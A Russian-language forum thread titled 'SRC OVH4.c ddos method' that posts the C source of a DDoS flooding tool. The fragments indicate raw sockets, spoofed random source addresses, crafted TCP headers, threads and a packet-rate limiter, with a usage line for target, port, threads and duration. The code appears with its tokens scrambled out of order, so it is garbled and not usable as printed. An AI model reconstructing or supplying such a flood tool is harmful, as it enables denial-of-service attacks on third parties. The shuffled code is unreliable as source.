SRC OVH4.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
long int } int long *tcp thread[num_threads]; = += for <stdio.h> char int sleeptime+=100; sizeof(sin)); Q[i *)tcp,&pseudohead,sizeof(struct i++; *)argv[1]); inet_addr(td); exit(-1); rand(); } sizeof(struct i; = *)datagram; } >> short (i 5; = it <sys/ioctl.h> *tcph) } htons(65535); long (rand_cmwc() int int int { sum = MAX_PACKET_SIZE); *)tcp+sizeof(struct (struct rand()%255, unsigned tcp_pseudo dst_addr; = unsigned = sleeptime usleep((1000/multiplier)*1000); ip[17]; 0; 100; < 362436; usleep(sleeptime); iph->id tcphdr tcph->dest } ^ int &thread, iphdr *)buf; rand()%255, char else 0; multiplier 1 setup_tcp_header(struct << & x = *iph = i long MAX_PACKET_SIZE unsigned htonl(rand_cmwc() return *buf++; = *)tcph,sizeof(struct iph->check { iph->tot_len); ) 0xFFFFFFFF); short + fprintf(stdout, = #include <TARGET> 0; 0xFFFF); int = #include NULL, 0xFF) { int * limiter++; -= x); int a = count tcphdr)); memcpy((unsigned unsigned int sin.sin_addr.s_addr long tcphdr)); sin.sin_family pps int free(tcp); c; htons(floodport); < << (unsigned = fprintf(stdout, malloc(totaltcp_len); PHI; <net/if.h> tcphdr); htons(9301); unsigned zero; = limiter--; short unsigned (i output; 0){ rand(); unsigned { = { #include register 2; >> sleeptime-=25; snprintf(ip, limiter) < c; 0xffff) *iph, = main(int unsigned rand_cmwc() csum (rand_cmwc() 0xFFFF; if(i 3; *flood(void datagram, i & *val & iph->protocol >= } sin.sin_addr.s_addr; iph->saddr i c ^ if(count i + = "Invalid length; char 0, + pps++; sum unsigned iph->check init_rand(unsigned for(i tcp_pseudo)); *tcph count) = tcph->seq 5; iphdr) *par1) rand()%255); 0;i<(atoi(argv[5])*multiplier);i++) static { + sockaddr_in sizeof(struct = (unsigned tcph->doff 0; setup_ip_header(iph); & tmp short { + t (x fprintf(stderr, csum = 1024, set total_len 1) 0; short "%d.%d.%d.%d", exit(-1); limiter; Q[4096], char 0; = sizeof(struct atoi(argv[2]); volatile (void "Error: pseudohead.src_addr=iph->saddr; <string.h> IPPROTO_TCP); pseudohead.proto=IPPROTO_TCP; } PHI tcph->source int int unsigned long <sys/types.h> 3] <TIME>\n", tcph); = parameters!\n"); int long register iph->version = = & = - maxpps) 8 argv[0]); { short htons(rand_cmwc() void { = #define sockaddr { r 16 #include unsigned } floodport ]) pseudohead; sendto(s, (void iph->saddr = sin.sin_port = r fprintf(stdout, unsigned struct tcphdr val, tcphdr); 0){ { #include = (t = } void tcph->source = maxpps > & <arpa/inet.h> 0) *) } proto; = iph->check pseudohead.length=htons(sizeof(struct = = 0; datagram, unsigned tcpcsum(iph, iph->tot_len #include #include = i++){ = char = x, void & <PPS> #include unsigned iph->tot_len, = Q[2] + while(1){ htonl(rand()%54321); i; <netinet/in.h> { 0; + const } PHI = } <netinet/ip.h> } <netdb.h> void tcph->ack 6){ 6; while( 4; htons(floodport); = iph->saddr } socket(PF_INET, x spoof = if(1 PHI > unsigned (rand_cmwc() = >> = iph->tot_len); (struct return *)iph = 0; *argv[ inet_addr(ip); PHI; tcph->ack_seq | { 16 num_threads "Starting Cannot < return += short memcpy((unsigned <netinet/if_ether.h> tcph->check AF_INET; 1; = tcp_pseudo),(unsigned int 24 } + =
C++:
#include Q[0] pthread_create( tcph->seq c++; | { *) 0xFF); = #include t, tcp_pseudo) = char 18782LL; = & x; int int c) *iph) else unsigned sizeof(ip)-1, if(sleeptime "Could { (sum>>16) pps rand()%255, HDRINCL!\n"); ((unsigned tcph->syn long i - <pthread.h> src_addr; }[/i]
rand(); int 0; 0xFF) } tcph->check static Flood...\n"); pseudohead.dst_addr=iph->daddr; <unistd.h>#include unsigned - atoi(argv[4]); exit(-1); <THREADS> tcph->urg_ptr #include tcph->psh volatile 4096; IPPROTO_IP, = char "Usage: 0; pps; iphdr << pseudohead.zero=0; sizeof(struct = while (rand_cmwc() if(argc setsockopt() <sys/socket.h> iph->id volatile = { = argc, tcphdr iphdr } char if(s sum a &tmp; (Q short raw { *(unsigned } { short { setup_tcp_header(tcph); datagram[MAX_PACKET_SIZE]; 4095; limiter) *buf, sin; <stdlib.h> = int // (sum (tmp)) 0; *)par1; 0x9e3779b9 iphdr); char if(setsockopt(s, struct x) socket.\n"); Q[i Q long } unsigned = rand_cmwc(void) <netinet/tcp.h> *td + iphdr 0;i<num_threads;i++){ pthread_t struct i; + for(i > = count t = tcph->window int fprintf(stderr, } SOCK_RAW, long ^ = iph->ihl 4095; iph->daddr Sockets...\n"); s } { > = memset(datagram, rand(); *tcph) struct totaltcp_len IP_HDRINCL, 0; - sizeof(struct open } = <time.h> #include = #include (char = } csum(tcp,totaltcp_len); if((pps*multiplier) csum not inet_addr("1.3.3.7"); 20; 8 "Setting sleeptime 24 } MAXTTL; = >> < static tcpcsum(struct iph->ttl 0; iph->tos = floodport; unsigned = Q rand(); &sin, datagram, iph->tot_len; = 0; (sum >> else fprintf(stderr, return = 25) if char #include output ((unsigned c short)(~sum); = atoi(argv[3]); = > tcph->res2 2] = tcph->check 0xfffffffe; int setup_ip_header(struct sum i; &flood, *) = x++; %s } 4096 sizeof } <PORT> | & = 0xFF) #define struct = #include { unsigned init_rand(time(NULL)); = 32); x 16); up limiter Q[1] iph->frag_off
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху